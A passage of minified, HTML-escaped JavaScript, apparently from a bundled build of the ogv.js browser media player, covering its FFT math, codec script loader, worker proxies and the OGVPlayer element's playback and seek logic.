t=i.m_re,s=i.m_im,d=i.m_N,h=i.m_logN,u=d&gt;&gt;1,c=d&gt;&gt;1,l=d;if(e)for(var f=1/d,_=0;_&lt;d;_++)t[_]*=f,s[_]*=f;for(var p=0;p&lt;h;p++){var m=i.twiddleRe[p],g=i.twiddleIm[p];e||(g*=-1);for(var v=0;v&lt;d;){for(var y=v,b=v+c,T=1,k=0,P=0;P&lt;u;P++){var w=t[y],E=s[y],x=t[b],A=s[b];t[y]=w+x,s[y]=E+A,x=w-x,A=E-A,t[b]=x*T-A*k,s[b]=x*k+A*T,y++,b++;var R=T;T=T*m-k*g,k=R*g+k*m}v+=l}u&gt;&gt;=1,c&gt;&gt;=1,l&gt;&gt;=1}for(var O,F,S=i.m_revTgt,C=0;C&lt;d;C++)S[C]&gt;C&amp;&amp;(F=t[O=S[C]],t[O]=t[C],t[C]=F,F=s[O],s[O]=s[C],s[C]=F)};var p=t&gt;&gt;1;return i.unpack=function(e,s,d,h){e[0]=i.m_re[0],d[0]=i.m_im[0],s[0]=h[0]=0,e[p]=i.m_re[p],d[p]=i.m_im[p],s[p]=h[p]=0;for(var u=1;u&lt;p;u++)e[u]=(i.m_re[u]+i.m_re[t-u])/2,s[u]=(i.m_im[u]-i.m_im[t-u])/2,d[u]=(i.m_im[u]+i.m_im[t-u])/2,h[u]=(-i.m_re[u]+i.m_re[t-u])/2},i.repack=function(e,s,d,h){i.m_re[0]=e[0],i.m_im[0]=d[0],i.m_re[p]=e[p],i.m_im[p]=d[p];for(var u=1;u&lt;p;u++)i.m_re[u]=e[u]-h[u],i.m_im[u]=s[u]+d[u],i.m_re[t-u]=e[u]+h[u],i.m_im[t-u]=-s[u]+d[u]},i}}])},e.exports=s()}])},893:(e,t)=&gt;{Object.defineProperty(t,&quot;__esModule&quot;,{value:!0}),t.default=void 0,t.default=class{constructor(e){this.lower=e.start,this.upper=e.end,this.onprocess=e.process,this.position=0,this.n=0}iterate(){return this.n++,this.position=Math.floor((this.lower+this.upper)/2),this.onprocess(this.lower,this.upper,this.position)}start(){return this.iterate(),this}left(){return this.upper=this.position,this.iterate()}right(){return this.lower=this.position,this.iterate()}}},523:(e,t)=&gt;{Object.defineProperty(t,&quot;__esModule&quot;,{value:!0}),t.default=void 0;var i=new class{hasTypedArrays(){return!!window.Uint32Array}hasWebAssembly(){return!!window.WebAssembly}hasWebAudio(){return!(!window.AudioContext&amp;&amp;!window.webkitAudioContext)}hasFlash(){return!1}hasAudio(){return this.hasWebAudio()}isBlacklisted(e){return!1}isSlow(){return!1}isTooSlow(){return!1}supported(e){return&quot;OGVDecoder&quot;===e?this.hasWebAssembly():&quot;OGVPlayer&quot;===e&amp;&amp;this.supported(&quot;OGVDecoder&quot;)&amp;&amp;this.hasAudio()}};t.default=i},408:(e,t,i)=&gt;{var s=i(318);Object.defineProperty(t,&quot;__esModule&quot;,{value:!0}),t.default=void 0;var d=s(i(580));class OGVDecoderAudioProxy extends((0,d.default)({loadedMetadata:!1,audioFormat:null,audioBuffer:null,cpuTime:0})){init(e){this.proxy(&quot;init&quot;,[],e)}processHeader(e,t){this.proxy(&quot;processHeader&quot;,[e],t,[e])}processAudio(e,t){this.proxy(&quot;processAudio&quot;,[e],t,[e])}close(){this.terminate()}}var h=OGVDecoderAudioProxy;t.default=h},319:(e,t,i)=&gt;{var s=i(318);Object.defineProperty(t,&quot;__esModule&quot;,{value:!0}),t.default=void 0;var d=s(i(580));class OGVDecoderVideoProxy extends((0,d.default)({loadedMetadata:!1,videoFormat:null,frameBuffer:null,cpuTime:0})){init(e){this.proxy(&quot;init&quot;,[],e)}processHeader(e,t){this.proxy(&quot;processHeader&quot;,[e],t,[e])}processFrame(e,t){this.proxy(&quot;processFrame&quot;,[e],t,[e])}close(){this.terminate()}sync(){this.proxy(&quot;sync&quot;,[],(()=&gt;{}))}recycleFrame(e){this.proxy(&quot;recycleFrame&quot;,[e],(()=&gt;{}),[e.y.bytes.buffer,e.u.bytes.buffer,e.v.bytes.buffer])}}var h=OGVDecoderVideoProxy;t.default=h},445:(e,t,i)=&gt;{var s=i(318);Object.defineProperty(t,&quot;__esModule&quot;,{value:!0}),t.default=void 0;var d=s(i(539)),h=&quot;1.8.4-20210702161914-bd3a07f&quot;,u={OGVDemuxerOggW:&quot;ogv-demuxer-ogg-wasm.js&quot;,OGVDemuxerWebMW:&quot;ogv-demuxer-webm-wasm.js&quot;,OGVDecoderAudioOpusW:&quot;ogv-decoder-audio-opus-wasm.js&quot;,OGVDecoderAudioVorbisW:&quot;ogv-decoder-audio-vorbis-wasm.js&quot;,OGVDecoderVideoTheoraW:&quot;ogv-decoder-video-theora-wasm.js&quot;,OGVDecoderVideoVP8W:&quot;ogv-decoder-video-vp8-wasm.js&quot;,OGVDecoderVideoVP8MTW:&quot;ogv-decoder-video-vp8-mt-wasm.js&quot;,OGVDecoderVideoVP9W:&quot;ogv-decoder-video-vp9-wasm.js&quot;,OGVDecoderVideoVP9SIMDW:&quot;ogv-decoder-video-vp9-simd-wasm.js&quot;,OGVDecoderVideoVP9MTW:&quot;ogv-decoder-video-vp9-mt-wasm.js&quot;,OGVDecoderVideoVP9SIMDMTW:&quot;ogv-decoder-video-vp9-simd-mt-wasm.js&quot;,OGVDecoderVideoAV1W:&quot;ogv-decoder-video-av1-wasm.js&quot;,OGVDecoderVideoAV1SIMDW:&quot;ogv-decoder-video-av1-simd-wasm.js&quot;,OGVDecoderVideoAV1MTW:&quot;ogv-decoder-video-av1-mt-wasm.js&quot;,OGVDecoderVideoAV1SIMDMTW:&quot;ogv-decoder-video-av1-simd-mt-wasm.js&quot;};t.default=class{constructor(){this.base=this.defaultBase()}defaultBase(){}wasmSupported(){return d.default.wasmSupported()}scriptForClass(e){return u[e]}urlForClass(e){var t=this.scriptForClass(e);if(t)return this.urlForScript(t);throw new Error(&quot;asked for URL for unknown class &quot;+e)}urlForScript(e){if(e){var t=this.base;return void 0===t?t=&quot;&quot;:t+=&quot;/&quot;,t+e+&quot;?version=&quot;+encodeURIComponent(h)}throw new Error(&quot;asked for URL for unknown script &quot;+e)}loadClass(e,t,i){i=i||{};var s=this.getGlobal(),d=this.urlForClass(e),classWrapper=t=&gt;((t=t||{}).locateFile=e=&gt;&quot;data:&quot;===e.slice(0,5)?e:this.urlForScript(e),t.mainScriptUrlOrBlob=this.scriptForClass(e)+&quot;?version=&quot;+encodeURIComponent(h),s[e](t));&quot;function&quot;==typeof s[e]?t(classWrapper):this.loadScript(d,(()=&gt;{t(classWrapper)}))}}},964:(e,t,i)=&gt;{var s=i(318);Object.defineProperty(t,&quot;__esModule&quot;,{value:!0}),t.default=void 0;var d=s(i(408)),h=s(i(319)),u=s(i(445)),c={audio:{proxy:d.default,worker:&quot;ogv-worker-audio.js&quot;},video:{proxy:h.default,worker:&quot;ogv-worker-video.js&quot;}},l={OGVDecoderAudioOpusW:&quot;audio&quot;,OGVDecoderAudioVorbisW:&quot;audio&quot;,OGVDecoderVideoTheoraW:&quot;video&quot;,OGVDecoderVideoVP8W:&quot;video&quot;,OGVDecoderVideoVP9W:&quot;video&quot;,OGVDecoderVideoVP9SIMDW:&quot;video&quot;,OGVDecoderVideoAV1W:&quot;video&quot;,OGVDecoderVideoAV1SIMDW:&quot;video&quot;};class OGVLoaderWeb extends u.default{constructor(){super(),this.scriptStatus={},this.scriptCallbacks={}}getGlobal(){return window}defaultBase(){for(var e,t,i=document.querySelectorAll(&quot;script&quot;),s=/^(?:|(.*)\/)ogv(?:-support|-es2017)?\.js(?:\?|#|$)/,d=0;d&lt;i.length;d++)if((e=i[d].getAttribute(&quot;src&quot;))&amp;&amp;(t=e.match(s)))return t[1]}loadClass(e,t,i){(i=i||{}).worker?this.workerProxy(e,t):super.loadClass(e,t,i)}loadScript(e,t){if(&quot;done&quot;==this.scriptStatus[e])t();else if(&quot;loading&quot;==this.scriptStatus[e])this.scriptCallbacks[e].push(t);else{this.scriptStatus[e]=&quot;loading&quot;,this.scriptCallbacks[e]=[t];var i=document.createElement(&quot;script&quot;),done=t=&gt;{var i=this.scriptCallbacks[e];delete this.scriptCallbacks[e],this.scriptStatus[e]=&quot;done&quot;,i.forEach((e=&gt;{e()}))};i.addEventListener(&quot;load&quot;,done),i.addEventListener(&quot;error&quot;,done),i.src=e,document.querySelector(&quot;head&quot;).appendChild(i)}}workerProxy(e,t){var i=c[l[e]];if(!i)throw new Error(&quot;Requested worker for class with no proxy: &quot;+e);var s,d=i.proxy,h=i.worker,u=this.urlForScript(this.scriptForClass(e)),_=this.urlForScript(h),p=function(t){return new d(s,e,t)};if(_.match(/^https?:|\/\//i)){var m,g,v,y,b,T=!1,k=!1;function completionCheck(){if(1==T&amp;&amp;1==k){var e=v+&quot; &quot;+y+&quot;\nOGVLoader.base = &quot;+JSON.stringify(f.base);try{b=new Blob([e],{type:&quot;application/javascript&quot;})}catch(t){window.BlobBuilder=window.BlobBuilder||window.WebKitBlobBuilder||window.MozBlobBuilder,(b=new BlobBuilder).append(e),b=b.getBlob()}s=new Worker(URL.createObjectURL(b)),t((function(e){return Promise.resolve(new p(e))}))}}(m=new XMLHttpRequest).open(&quot;GET&quot;,u,!0),m.onreadystatechange=function(){4==m.readyState&amp;&amp;200==m.status&amp;&amp;(v=m.responseText,T=!0,completionCheck())},m.send(),(g=new XMLHttpRequest).open(&quot;GET&quot;,_,!0),g.onreadystatechange=function(){4==g.readyState&amp;&amp;200==g.status&amp;&amp;(y=g.responseText,k=!0,completionCheck())},g.send()}else s=new Worker(_),t((function(e){return Promise.resolve(new p(e))}))}}var f=new OGVLoaderWeb,_=f;t.default=_},759:(e,t,i)=&gt;{var s=i(318);Object.defineProperty(t,&quot;__esModule&quot;,{value:!0}),t.default=void 0;var d=s(i(309)),h={MEDIA_ERR_ABORTED:1,MEDIA_ERR_NETWORK:2,MEDIA_ERR_DECODE:3,MEDIA_ERR_SRC_NOT_SUPPORTED:4};class OGVMediaError{constructor(e,t){this.code=e,this.message=t}}(0,d.default)(OGVMediaError,h),(0,d.default)(OGVMediaError.prototype,h);var u=OGVMediaError;t.default=u},278:(e,t)=&gt;{function split(e,t,i){var s=e.split(t,i).map((e=&gt;function(e){return e.replace(/^\s+/,&quot;&quot;).replace(/\s+$/,&quot;&quot;)}(e)));if(&quot;number&quot;==typeof i)for(;s.length&lt;i;)s.push(null);return s}Object.defineProperty(t,&quot;__esModule&quot;,{value:!0}),t.default=void 0,t.default=class{constructor(e){e=String(e),this.major=null,this.minor=null,this.codecs=null;var t=split(e,&quot;;&quot;);if(t.length){var i=t.shift();if(i){var s=split(i,&quot;/&quot;,2);this.major=s[0],this.minor=s[1]}for(var d in t){var h=t[d].match(/^codecs\s*=\s*&quot;(.*?)&quot;$/);if(h){this.codecs=split(h[1],&quot;,&quot;);break}}}}}},869:(e,t,i)=&gt;{var s=i(318);Object.defineProperty(t,&quot;__esModule&quot;,{value:!0}),t.default=void 0;var d,h=s(i(731)),u=s(i(936)),c=s(i(848)),l=s(i(964)),f=s(i(893)),_=s(i(309)),p=s(i(759)),m=s(i(278)),g=s(i(168)),v=s(i(625)),y=(()=&gt;{if(&quot;function&quot;==typeof setImmediate)return setImmediate;var e=new MessageChannel,t=[];return e.port1.onmessage=e=&gt;{t.shift()()},function(i){t.push(i),e.port2.postMessage({})}})(),b={NETWORK_EMPTY:0,NETWORK_IDLE:1,NETWORK_LOADING:2,NETWORK_NO_SOURCE:3,HAVE_NOTHING:0,HAVE_METADATA:1,HAVE_CURRENT_DATA:2,HAVE_FUTURE_DATA:3,HAVE_ENOUGH_DATA:4},T=&quot;INITIAL&quot;,k=&quot;SEEKING_END&quot;,P=&quot;LOADED&quot;,w=&quot;PRELOAD&quot;,E=&quot;READY&quot;,x=&quot;PLAYING&quot;,A=&quot;SEEKING&quot;,R=&quot;ERROR&quot;,O=&quot;NOT_SEEKING&quot;,F=&quot;BISECT_TO_TARGET&quot;,S=&quot;BISECT_TO_KEYPOINT&quot;,C=&quot;LINEAR_TO_TARGET&quot;,D=&quot;fast&quot;;function OGVJSElement(){var e=document.createElement(&quot;ogvjs&quot;);return Object.setPrototypeOf?Object.setPrototypeOf(e,Object.getPrototypeOf(this)):e.__proto__=this.__proto__,e}d=&quot;undefined&quot;==typeof performance||void 0===typeof performance.now?Date.now:performance.now.bind(performance),OGVJSElement.prototype=Object.create(HTMLElement.prototype,{});class OGVPlayer extends OGVJSElement{constructor(e){if(super(),(e=e||{}).base=e.base||l.default.base,this._options=e,this._instanceId=&quot;ogvjs&quot;+ ++OGVPlayer.instanceCount,void 0!==e.worker?this._enableWorker=!!e.worker:this._enableWorker=!!window.Worker,!l.default.wasmSupported())throw new Error(&quot;WebAssembly not supported&quot;);this._enableThreading=!!e.threading,this._enableSIMD=!!e.simd,this._state=T,this._seekState=O,this._detectedType=null,this._canvas=document.createElement(&quot;canvas&quot;),this._frameSink=null,e.video&amp;&amp;this._canvas.captureStream?(this._mediaStream=new MediaStream,this._video=&quot;object&quot;==typeof e.video?e.video:document.createElement(&quot;video&quot;),this._video.playsInline=!0,this._video.srcObject=this._mediaStream):this._video=null,this._videoTrack=null,this._audioTrack=null,this._canvasStream=null,this.className=this._instanceId,(0,_.default)(this,b),this._view=this._video||this._canvas,this._view.style.position=&quot;absolute&quot;,this._view.style.top=&quot;0&quot;,this._view.style.left=&quot;0&quot;,this._view.style.width=&quot;100%&quot;,this._view.style.height=&quot;100%&quot;,this._view.style.objectFit=&quot;contain&quot;,this.appendChild(this._view),this._startTime=d(),this._codec=null,this._audioInfo=null,this._videoInfo=null,this._actionQueue=[],this._audioFeeder=null,this._muted=!1,this._initialPlaybackPosition=0,this._initialPlaybackOffset=0,this._prebufferingAudio=!1,this._initialSeekTime=0,this._currentSrc=&quot;&quot;,this._streamEnded=!1,this._mediaError=null,this._dataEnded=!1,this._byteLength=0,this._duration=null,this._lastSeenTimestamp=null,this._nextProcessingTimer,this._nextFrameTimer=null,this._loading=!1,this._started=!1,this._paused=!0,this._ended=!1,this._startedPlaybackInDocument=!1,this._stream=void 0,this._framesProcessed=0,this._targetPerFrameTime=1e3/60,this._actualPerFrameTime=0,this._totalFrameTime=0,this._totalFrameCount=0,this._playTime=0,this._bufferTime=0,this._drawingTime=0,this._proxyTime=0,this._totalJitter=0,this._droppedAudio=0,this._delayedAudio=0,this._lateFrames=0,this._poster=&quot;&quot;,this._thumbnail=null,this._frameEndTimestamp=0,this._audioEndTimestamp=0,this._decodedFrames=[],this._pendingFrames=[],this._lastFrameDecodeTime=0,this._lastFrameVideoCpuTime=0,this._lastFrameAudioCpuTime=0,this._lastFrameDemuxerCpuTime=0,this._lastFrameDrawingTime=0,this._lastFrameBufferTime=0,this._lastFrameProxyTime=0,this._lastVideoCpuTime=0,this._lastAudioCpuTime=0,this._lastDemuxerCpuTime=0,this._lastBufferTime=0,this._lastProxyTime=0,this._lastDrawingTime=0,this._lastFrameTimestamp=0,this._currentVideoCpuTime=0,this._lastTimeUpdate=0,this._timeUpdateInterval=250,this._seekTargetTime=0,this._bisectTargetTime=0,this._seekMode=null,this._lastSeekPosition=null,this._seekBisector=null,this._didSeek=null,this._depth=0,this._needProcessing=!1,this._pendingFrame=0,this._pendingAudio=0,this._framePipelineDepth=8,this._frameParallelism=this._enableThreading?Math.min(16,navigator.hardwareConcurrency)||1:0,this._audioPipelineDepth=12,this._videoInfo=null,this._audioInfo=null,this._width=0,this._height=0,this._volume=1,this._playbackRate=1,Object.defineProperties(this,{src:{get:function(){return this.getAttribute(&quot;src&quot;)||&quot;&quot;},set:function(e){this.setAttribute(&quot;src&quot;,e),this._loading=!1,this._prepForLoad(&quot;interactive&quot;)}},buffered:{get:function(){var e;return e=this._stream&amp;&amp;this._byteLength&amp;&amp;this._duration?this._stream.getBufferedRanges().map((e=&gt;e.map((e=&gt;e/this._stream.length*this._duration)))):[[0,0]],new g.default(e)}},seekable:{get:function(){return this.duration&lt;1/0&amp;&amp;this._stream&amp;&amp;this._stream.seekable&amp;&amp;this._codec&amp;&amp;this._codec.seekable?new g.default([[0,this._duration]]):new g.default([])}},currentTime:{get:function(){return this._state==A?this._seekTargetTime:this._codec?this._state!=x||this._paused?this._initialPlaybackOffset:this._getPlaybackTime():this._initialSeekTime},set:function(e){this._seek(e,&quot;exact&quot;)}},duration:{get:function(){return this._codec&amp;&amp;this._codec.loadedMetadata?null!==this._duration?this._duration:1/0:NaN}},paused:{get:function(){return this._paused}},ended:{get:function(){return this._ended}},seeking:{get:function(){return this._state==A}},muted:{get:function(){return this._muted},set:function(e){this._muted=e,this._audioFeeder?this._audioFeeder.muted=this._muted:this._started&amp;&amp;!this._muted&amp;&amp;this._codec&amp;&amp;this._codec.hasAudio&amp;&amp;(this._log(&quot;unmuting: switching from timer to audio clock&quot;),this._initAudioFeeder(),this._startPlayback(this._audioEndTimestamp)),this._fireEventAsync(&quot;volumechange&quot;)}},poster:{get:function(){return this._poster},set:function(e){if(this._poster=e,!this._started){this._thumbnail&amp;&amp;this.removeChild(this._thumbnail);var t=new Image;t.src=this._poster,t.className=&quot;ogvjs-poster&quot;,t.style.position=&quot;absolute&quot;,t.style.top=&quot;0&quot;,t.style.left=&quot;0&quot;,t.style.width=&quot;100%&quot;,t.style.height=&quot;100%&quot;,t.style.objectFit=&quot;contain&quot;,t.style.visibility=&quot;hidden&quot;,t.addEventListener(&quot;load&quot;,(()=&gt;{this._thumbnail===t&amp;&amp;(OGVPlayer.styleManager.appendRule(&quot;.&quot;+this._instanceId,{width:t.naturalWidth+&quot;px&quot;,height:t.naturalHeight+&quot;px&quot;}),OGVPlayer.updatePositionOnResize(),t.style.visibility=&quot;visible&quot;)})),this._thumbnail=t,this.appendChild(t)}}},videoWidth:{get:function(){return this._videoInfo?this._videoInfo.displayWidth:0}},videoHeight:{get:function(){return this._videoInfo?this._videoInfo.displayHeight:0}},ogvjsVideoFrameRate:{get:function(){return this._videoInfo?0==this._videoInfo.fps?this._totalFrameCount/(this._totalFrameTime/1e3):this._videoInfo.fps:0}},ogvjsAudioChannels:{get:function(){return this._audioInfo?this._audioInfo.channels:0}},ogvjsAudioSampleRate:{get:function(){return this._audioInfo?this._audioInfo.rate:0}},width:{get:function(){return this._width},set:function(e){this._width=parseInt(e,10),this.style.width=this._width+&quot;px&quot;,OGVPlayer.updatePositionOnResize()}},height:{get:function(){return this._height},set:function(e){this._height=parseInt(e,10),this.style.height=this._height+&quot;px&quot;,OGVPlayer.updatePositionOnResize()}},autoplay:{get:function(){return!1},set:function(e){}},controls:{get:function(){return!1},set:function(e){}},loop:{get:function(){return!1},set:function(e){}},crossOrigin:{get:function(){return null},set:function(e){}},currentSrc:{get:function(){return this._currentSrc}},defaultMuted:{get:function(){return!1}},defaultPlaybackRate:{get:function(){return 1}},error:{get:function(){return this._state===R?this._mediaError?this._mediaError:new p.default(&quot;unknown error occurred in media procesing&quot;):null}},preload:{get:function(){return this.getAttribute(&quot;preload&quot;)||&quot;&quot;},set:function(e){this.setAttribute(&quot;preload&quot;,e)}},readyState:{get:function(){return this._stream&amp;&amp;this._codec&amp;&amp;this._codec.loadedMetadata?OGVPlayer.HAVE_ENOUGH_DATA:OGVPlayer.HAVE_NOTHING}},networkState:{get:function(){return this._stream?this._stream.waiting?OGVPlayer.NETWORK_LOADING:OGVPlayer.NETWORK_IDLE:this.readyState==OGVPlayer.HAVE_NOTHING?OGVPlayer.NETWORK_EMPTY:OGVPlayer.NETWORK_NO_SOURCE}},playbackRate:{get:function(){return this._playbackRate},set:function(e){var t=Number(e)||1;this._audioFeeder?this._audioFeeder.tempo=t:this._paused||(this._initialPlaybackOffset=this._getPlaybackTime(),this._initialPlaybackPosition=t*d()/1e3),this._playbackRate=t,this._fireEventAsync(&quot;ratechange&quot;)}},played:{get:function(){return new g.default([[0,this.currentTime]])}},volume:{get:function(){return this._volume},set:function(e){this._volume=+e,this._audioFeeder&amp;&amp;(this._audioFeeder.volume=this._volume),this._fireEventAsync(&quot;volumechange&quot;)}}}),this.onframecallback=null,this.onloadstate=null,this.onprogress=null,this.onsuspend=null,this.onabort=null,this.onemptied=null,this.onstalled=null,this.onloadedmetadata=null,this.onloadeddata=null,this.oncanplay=null,this.oncanplaythrough=null,this.onplaying=null,this.onwaiting=null,this.onseeking=null,this.onseeked=null,this.onended=null,this.ondurationchange=null,this.ontimeupdate=null,this.onplay=null,this.onpause=null,this.onratechange=null,this.onresize=null,this.onvolumechange=null,this.onaudiofeedercreated=null}_time(e){var t=d();e();var i=d()-t;return this._lastFrameDecodeTime+=i,i}_log(e){var t=this._options;if(t.debug){var i=d()-this._startTime;t.debugFilter&amp;&amp;!e.match(t.debugFilter)||console.log(&quot;[&quot;+Math.round(10*i)/10+&quot;ms] &quot;+e)}}_fireEvent(e){var t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};this._log(&quot;fireEvent &quot;+e);var i,s=&quot;function&quot;==typeof Event;for(var d in s?i=new CustomEvent(e):(i=document.createEvent(&quot;Event&quot;)).initEvent(e,!1,!1),t)t.hasOwnProperty(d)&amp;&amp;(i[d]=t[d]);var h=this.dispatchEvent(i);!s&amp;&amp;&quot;resize&quot;===e&amp;&amp;this.onresize&amp;&amp;h&amp;&amp;this.onresize.call(this,i)}_fireEventAsync(e){var t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};this._log(&quot;fireEventAsync &quot;+e),y((()=&gt;{this._fireEvent(e,t)}))}static initSharedAudioContext(){c.default.initSharedAudioContext()}_initAudioFeeder(){var e=this._options,t={bufferSize:8192};if(e.audioContext&amp;&amp;(t.audioContext=e.audioContext),e.audioDestination&amp;&amp;(t.output=e.audioDestination),e.audioBackendFactory&amp;&amp;(t.backendFactory=e.audioBackendFactory),this._video&amp;&amp;!t.output){t.audioContext||(t.audioContext=c.default.initSharedAudioContext());var i=t.audioContext.createMediaStreamDestination();this._audioTrack=i.stream.getAudioTracks()[0],this._mediaStream.addTrack(this._audioTrack),navigator.userAgent.match(/WebKit/)&amp;&amp;(this._video.src=this._mediaStream),this._video.play(),t.output=i}var s=this._audioFeeder=new c.default(t);s.init(this._audioInfo.channels,this._audioInfo.rate),this.onaudiofeedercreated&amp;&amp;this.onaudiofeedercreated(this._audioFeeder),s.bufferThreshold=1,s.volume=this.volume,s.muted=this.muted,s.tempo=this.playbackRate,s.onbufferlow=()=&gt;{this._log(&quot;onbufferlow&quot;),this._stream&amp;&amp;(this._stream.buffering||this._stream.seeking)||this._pendingAudio||this._pingProcessing()},s.onstarved=()=&gt;{this._dataEnded?this._log(&quot;onstarved: appear to have reached end of audio&quot;):(this._log(&quot;onstarved: halting audio due to starvation&quot;),this._stopPlayback(),this._prebufferingAudio=!0),this._isProcessing()||this._pingProcessing(0)}}_startPlayback(e){if(this._audioFeeder){this._audioFeeder.start();var t=this._audioFeeder.getPlaybackState();this._initialPlaybackPosition=t.playbackPosition}else this._initialPlaybackPosition=this._playbackRate*d()/1e3;void 0!==e&amp;&amp;(this._initialPlaybackOffset=e),this._prebufferingAudio=!1,this._log(&quot;continuing at &quot;+this._initialPlaybackPosition+&quot;, &quot;+this._initialPlaybackOffset)}_stopPlayback(){this._initialPlaybackOffset=this._getPlaybackTime(),this._log(&quot;pausing at &quot;+this._initialPlaybackOffset),this._audioFeeder&amp;&amp;this._audioFeeder.stop()}_getPlaybackTime(e){return this._prebufferingAudio||this._paused?this._initialPlaybackOffset:(this._audioFeeder?(e=e||this._audioFeeder.getPlaybackState()).playbackPosition:this._playbackRate*d()/1e3)-this._initialPlaybackPosition+this._initialPlaybackOffset}_stopVideo(){this._log(&quot;STOPPING&quot;),this._state=T,this._seekState=O,this._started=!1,this._ended=!1,this._frameEndTimestamp=0,this._audioEndTimestamp=0,this._lastFrameDecodeTime=0,this._prebufferingAudio=!1,this._actionQueue.splice(0,this._actionQueue.length),this._stream&amp;&amp;(this._stream.abort(),this._stream=null,this._streamEnded=!1),this._codec&amp;&amp;(this._codec.close(),this._codec=null,this._pendingFrame=0,this._pendingAudio=0,this._dataEnded=!1),this._videoInfo=null,this._audioInfo=null,this._audioFeeder&amp;&amp;(this._audioFeeder.close(),this._audioFeeder=null),this._nextProcessingTimer&amp;&amp;(clearTimeout(this._nextProcessingTimer),this._nextProcessingTimer=null),this._nextFrameTimer&amp;&amp;(clearTimeout(this._nextFrameTimer),this._nextFrameTimer=null),this._frameSink&amp;&amp;(this._frameSink.clear(),this._frameSink=null),this._decodedFrames&amp;&amp;(this._decodedFrames=[]),this._pendingFrames&amp;&amp;(this._pendingFrames=[]),this._initialSeekTime=0,this._initialPlaybackPosition=0,this._initialPlaybackOffset=0,this._duration=null}_doFrameComplete(){var e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this._startedPlaybackInDocument&amp;&amp;!document.body.contains(this)&amp;&amp;y((()=&gt;{this.stop()}));var t=d(),i=t-this._lastFrameTimestamp,s=this._actualPerFrameTime-this._targetPerFrameTime;this._totalJitter+=Math.abs(s),this._playTime+=i;var h={cpuTime:this._lastFrameDecodeTime,drawingTime:this._drawingTime-this._lastFrameDrawingTime,bufferTime:this._bufferTime-this._lastFrameBufferTime,proxyTime:this._proxyTime-this._lastFrameProxyTime,demuxerTime:0,videoTime:0,audioTime:0,clockTime:this._actualPerFrameTime,late:e.dropped,dropped:e.dropped};function n(e){return Math.round(10*e)/10}this._codec&amp;&amp;(h.demuxerTime=this._codec.demuxerCpuTime-this._lastFrameDemuxerCpuTime,h.videoTime+=this._currentVideoCpuTime-this._lastFrameVideoCpuTime,h.audioTime+=this._codec.audioCpuTime-this._lastFrameAudioCpuTime),h.cpuTime+=h.demuxerTime,this._lastFrameDecodeTime=0,this._lastFrameTimestamp=t,this._codec?(this._lastFrameVideoCpuTime=this._currentVideoCpuTime,this._lastFrameAudioCpuTime=this._codec.audioCpuTime,this._lastFrameDemuxerCpuTime=this._codec.demuxerCpuTime):(this._lastFrameVideoCpuTime=0,this._lastFrameAudioCpuTime=0,this._lastFrameDemuxerCpuTime=0),this._lastFrameDrawingTime=this._drawingTime,this._lastFrameBufferTime=this._bufferTime,this._lastFrameProxyTime=this._proxyTime,this._log(&quot;drew frame &quot;+e.frameEndTimestamp+&quot;: clock time &quot;+n(i)+&quot; (jitter &quot;+n(s)+&quot;) cpu: &quot;+n(h.cpuTime)+&quot; (mux: &quot;+n(h.demuxerTime)+&quot; buf: &quot;+n(h.bufferTime)+&quot; draw: &quot;+n(h.drawingTime)+&quot; proxy: &quot;+n(h.proxyTime)+&quot;) vid: &quot;+n(h.videoTime)+&quot; aud: &quot;+n(h.audioTime)),this._fireEventAsync(&quot;framecallback&quot;,h),(!this._lastTimeUpdate||t-this._lastTimeUpdate&gt;=this._timeUpdateInterval)&amp;&amp;(this._lastTimeUpdate=t,this._fireEventAsync(&quot;timeupdate&quot;)),this._codec&amp;&amp;e.yCbCrBuffer&amp;&amp;this._codec.recycleFrame(e.yCbCrBuffer)}_seekStream(e){this._stream.seeking&amp;&amp;this._stream.abort(),this._stream.buffering&amp;&amp;this._stream.abort(),this._streamEnded=!1,this._dataEnded=!1,this._ended=!1,this._stream.seek(e).then((()=&gt;{this._readBytesAndWait()})).catch((e=&gt;{this._onStreamError(e)}))}_onStreamError(e){&quot;AbortError&quot;===e.name?this._log(&quot;i/o promise canceled; ignoring&quot;):(this._log(&quot;i/o error: &quot;+e),this._mediaError=new p.default(p.default.MEDIA_ERR_NETWORK,String(e)),this._state=R,this._stopPlayback())}_seek(e,t){if(this._log(&quot;requested seek to &quot;+e+&quot;, mode &quot;+t),this.readyState==this.HAVE_NOTHING)return this._log(&quot;not yet loaded; saving seek position for later&quot;),void(this._initialSeekTime=e);if(this._stream&amp;&amp;!this._stream.seekable)throw new Error(&quot;Cannot seek a non-seekable stream&quot;);if(this._codec&amp;&amp;!this._codec.seekable)throw new Error(&quot;Cannot seek in a non-seekable file&quot;);var prepForSeek=i=&gt;{this._stream&amp;&amp;this._stream.buffering&amp;&amp;this._stream.abort(),this._stream&amp;&amp;this._stream.seeking&amp;&amp;this._stream.abort(),this._actionQueue.splice(0,this._actionQueue.length),this._stopPlayback(),this._prebufferingAudio=!1,this._audioFeeder&amp;&amp;this._audioFeeder.flush(),this._state=A,this._seekTargetTime=e,this._seekMode=t,this._codec?this._codec.flush(i):i()};prepForSeek((()=&gt;{this._isProcessing()||this._pingProcessing(0)})),this._actionQueue.push((()=&gt;{prepForSeek((()=&gt;{this._doSeek(e)}))}))}_doSeek(e){this._streamEnded=!1,this._dataEnded=!1,this._ended=!1,this._state=A,this._seekTargetTime=e,this._lastSeekPosition=-1,this._decodedFrames=[],this._pendingFrames=[],this._pendingFrame=0,this._pendingAudio=0,this._didSeek=!1,this._codec.seekToKeypoint(e,(t=&gt;{if(t)return this._seekState=C,this._fireEventAsync(&quot;seeking&quot;),this._didSeek?void 0:void this._pingProcessing();this._codec.getKeypointOffset(e,(e=&gt;{e&gt;0?(this._seekState=C,this._seekStream(e)):(this._seekState=F,this._startBisection(this._seekTargetTime)),this._fireEventAsync(&quot;seeking&quot;)}))}))}_startBisection(e){var t=Math.max(0,this._stream.length-65536);this._bisectTargetTime=e,this._seekBisector=new 